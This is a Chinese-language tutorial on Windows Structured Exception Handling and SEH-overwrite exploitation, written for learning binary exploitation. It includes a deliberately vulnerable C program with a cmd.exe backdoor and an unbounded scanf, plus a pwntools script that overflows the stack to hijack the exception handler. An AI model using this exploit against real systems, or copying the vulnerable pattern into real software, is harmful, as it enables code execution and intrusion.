win pwn初探(四)
字数 1089 2025-08-25 22:58:40
Windows SEH (结构化异常处理) 深入解析
1. SEH 基础概念
结构化异常处理(Structured Exception Handling, SEH)是Windows操作系统提供的一种错误或异常处理技术,用于处理异常事件的程序控制结构。
在代码中表现为:
__try, __except, __finally
2. SEH 结构解析
2.1 SEH 在程序中的表现
通过IDA分析可以看到SEH处理函数的注册:
.text:004119B0 push offset __except_handler4
.text:004119BF mov eax, large fs:0
2.2 SEH 相关数据结构
_EXCEPTION_DISPOSITION
_EXCEPTION_DISPOSITION _except_handler4(
_EXCEPTION_RECORD *,
_EXCEPTION_REGISTRATION_RECORD *,
_CONTEXT *,
void *
)
_EXCEPTION_RECORD
struct _EXCEPTION_RECORD {
DWORD ExceptionCode; // 异常类型
DWORD ExceptionFlags; // 异常标志
struct _EXCEPTION_RECORD *ExceptionRecord;
PVOID ExceptionAddress; // 发生异常的代码地址
DWORD NumberParameters;
DWORD ExceptionInformation[15];
};
_EXCEPTION_REGISTRATION_RECORD
struct _EXCEPTION_REGISTRATION_RECORD {
struct _EXCEPTION_REGISTRATION_RECORD *Next; // 指向下一个结构的指针
PEXCEPTION_ROUTINE Handler; // 当前异常处理回调函数的地址
};
_CONTEXT
struct _CONTEXT {
DWORD ContextFlags;
DWORD Dr0-Dr7;
_FLOATING_SAVE_AREA FloatSave;
DWORD SegGs, SegFs, SegEs, SegDs;
DWORD Edi, Esi, Ebx, Edx, Ecx, Eax;
DWORD Ebp, Eip, SegCs, EFlags, Esp, SegSs;
BYTE ExtendedRegisters[512];
};
3. SEH 工作机制
3.1 TIB/TEB 结构
TIB (Thread Information Block) 或 TEB (Thread Environment Block) 是保存线程基本信息的数据结构:
struct _NT_TIB {
PEXCEPTION_REGISTRATION_RECORD ExceptionList; // 指向当前线程的SEH
PVOID StackBase; // 栈底
PVOID StackLimit; // 栈顶
PVOID SubSystemTib; // 子系统
PVOID FiberData;
DWORD Version;
PVOID ArbitraryUserPointer;
struct _NT_TIB *Self; // 指向自己
};
3.2 SEH 链工作原理
- TIB的第一个字段保存了SEH链表的头部指针
- SEH链表中其他节点存储在栈中
- 当Next成员的值为0xFFFFFFFF时表示最后一个节点
- 发生异常时会按顺序依次传递,直到有异常处理器处理
4. SEH 利用技术
4.1 基本利用原理
通过攻击程序的异常处理机制:
- 触发一个异常
- 程序转入异常处理
- 覆盖异常处理函数指针
- 劫持SEH控制程序流
4.2 实际利用示例
示例程序:
#define _CRT_SECURE_NO_WARNINGS
#include <stdio.h>
#include <windows.h>
#include <stdlib.h>
void backdoor() {
system("cmd.exe");
}
int main(int argc, char **argv) {
setbuf(stdin, 0);
setbuf(stdout, 0);
int x = 100;
int y = 0;
int z;
char tmp[0x20];
_try {
printf("0x%p\n", backdoor);
scanf("%s", tmp);
z = x / y; // 触发除零异常
}
_except(1) {
printf("seh");
}
return 0;
}
利用步骤:
- 找到
_except_handler4在栈上的位置(通常在EBP-0xC处) - 通过栈溢出覆盖handler
- 即使开启GS保护也可能被利用,因为异常处理先于安全检查
4.3 利用代码示例
Python利用脚本:
from pwn import *
context.log_level = 'debug'
r = remote('192.168.10.106', 1234)
r.recvuntil('0x')
backdoor_addr = int(r.recv(8), 16)
payload = b'a' * (0x64 - 0xc) + p32(backdoor_addr)
r.sendline(payload)
r.interactive()
4.4 利用技巧
- 不需要特定的异常类型,任何异常都可以触发
- 即使移除除零异常,通过内存损坏等异常也能触发
- 实际利用中可能会遇到需要点击"重试"的情况
5. 防御机制
Windows后来引入了两种加固技术:
- SAFESEH
- SEHOP
这些将在后续文档中详细讲解。
6. 调试技巧
使用WinDbg调试SEH:
- 在程序头下断点
- 查看异常处理函数地址
- 使用
dt命令查看结构体定义 - 检查TIB/SEH链
示例命令:
0:000> dt 0x141F80 _except_handler4
0:000> dt _EXCEPTION_RECORD
0:000> dt _NT_TIB
7. 关键点总结
- SEH是Windows异常处理的核心机制
- SEH链存储在栈中,通过TIB的第一个字段访问
- 通过覆盖SEH handler可以劫持程序流
- 利用时不需要特定类型的异常
- 原始SEH机制容易受到攻击,促使微软开发了SAFESEH和SEHOP
8. 参考资源
- 《逆向工程核心原理》
- Microsoft官方文档
- WinDbg调试工具文档